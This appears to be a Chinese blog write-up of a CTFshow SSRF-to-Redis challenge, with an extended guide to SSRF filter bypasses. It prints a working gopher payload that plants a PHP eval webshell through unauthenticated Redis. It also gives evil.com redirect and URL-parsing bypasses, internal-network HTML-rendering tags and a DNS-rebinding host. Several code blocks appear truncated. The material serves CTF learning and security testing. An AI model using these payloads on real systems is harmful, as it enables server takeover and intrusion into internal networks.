SSRF打Redis
CTF show的WEB入门360关卡,打Redis。
源码如下:
1 |
|
发现6379端口开放,6379端口,一般为Redis。
打入Payload:
1 | gopher://127.0.0.1:6379/_%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25245%250D%250A1.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A |
成功。
使用到了gopher协议
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。
特定的协议开头,“_”后面跟着内容部分。
gopher://127.0.0.1:6379/_
Redis的语法
上述使用的Payload是基于存在Redis未授权漏洞的情况下,无需密码,下面我们来简单分析一下使用的payload。
1 | *3 |
*3
指的是三个变量,$3
指的是字符的长度为3。
正常我们使用Redis的语法,首先需要进行登录,存在未授权可直接登录,不存在则需要密码登录。
redis-cli -h 192.168.73.150 -a password
上传Webshell。
1 | set 1 <?php${IFS}eval($_POST[1]);?> |
注意:我注意到很多打CTF的同学使用的
Gopherus
去生成的payload,我发现Gopherus
在生成payload时,使用到了flushall
命令,该命令用于清空 Redis 服务器中的所有数据库,数据会被永久删除,切记不可用于实际环境中!
网上翻到的脚本,实测可行,SSRF打Redis的redis_shell.py如下:
1 | from urllib.parse import quote |
⚠️注意点
在使用SSRF打Redis时,对于"gopher://127.0.0.1:6379/_"后的内容需要进行一次url编码。
SSRF的绕过
学习SSRF不能仅仅局限于CTF比赛中,更多的是要运用在实际的环境中。
绕过URL匹配字符的限制
后端对请求的URL进行字符匹配检测。
下面,evil.com
为恶意的域名,target.com
为正常的业务域名。
例如,直接判断URL中是否包含某个target.com
。使用@进行绕过。
1 | https://target.com@evil.com |
例如,使用字符串匹配的方式,判断域名中是否存在某个子域名,如必须包含qq.com
。
1 | https://target.com.evil.com |
解析的差异。
例如,前后端分离,对URL的解析差异不同,绕过检测。有的后端会把\.
和\@
解析成.
和@
,则会解析到evil.com
。若把\
解析为/
,则不存在问题,还是正常解析到target.com
。
1 | https://target.com\.evil.com |
直接302跳转
利用302跳转,跳转到内网的地址上,实现SSRF
。
使用php
代码实现,302.php
如下:
1 |
|
有条件的302跳转
要考虑实际环境中是否有相关的过滤。我自己想到的过滤有以下几种,具体要根据实际情况分析。
(1)、后端验证了跳转的目标域名
后端代码验证了跳转的目标URL的域名,是否为白名单中的域名。绕过这种验证,需要找到白名单域名中的一个302跳转,即可实现绕过。
自己的服务器上部署r.php
,对应的URL为https://evil.com/r.php
1 |
|
存在302跳转的白名单域名,如下:
https://vulnerable.com/?redirect_url=
则跳转的地址为:
https://vulnerable.com/?redirect_url=https%3A%2F%2Fevil.com%2Fr.php
vulnerable.com
为白名单域名,绕过了白名单的限制。
(2)、后端验证了请求返回的数据包
后端代码对请求的URL的返回结果进行了验证。返回的响应数据包中的每一个内容都有可能作为后端限制的条件,这里绕过限制的方法就是去想办法构造,满足后端代码的判断条件,然后再进行302的跳转。
例如,即后端验证请求的URL返回的状态码只能是特定的,如200。此时要在使用dnslog进行SSRF
测试的时候注意,后端代码对URL进行了几次请求,有可能的情况是先对URL请求一次验证状态码是200,满足条件后,后续几次请求未对返回内容进行验证。此时我们可以编写代码,进行请求次数的限定,第一次请求返回200,第n次请求返回302跳转,跳转到内网的地址中。
使用nodejs
实现ssrf.js
,代码如下:
1 | const express = require('express'); |
请求第1次,返回正常的个人信息内容,请求第2次,则进行302跳转,跳转到内网中。
例如,后端代码验证的请求的URL只能是特定的User-Agent
头。
使用php
实现1.php
,代码如下:
1 |
|
内网html渲染
后端代码在处理前端传输的html
内容时,会对输入的内容进行渲染,例如,文本转换为PDF、在线简历生成等可能存在html
渲染的功能点。
(1)、使用iframe标签直接读取内网
代码如下:
1 | <iframe src="http://127.0.0.1" width="800" height="10000"></iframe> |
(2)、使用标签跳转内网
<meta>
和<script>
标签进行跳转。
1 | <meta http-equiv="refresh" content="0; url=http://127.0.0.1/"/> |
(3)、使用标签引入内网
1 | <embed src="http://127.0.0.1/" width="600" height="800" type="text/html"> |
DNS rebinding
https://lock.cmpxchg8b.com/rebinder.html
在请求时注意CDN
缓存的问题,可以尝试修改请求的url。
http://7f000001.c0a80001.rbndr.us/flag.html?11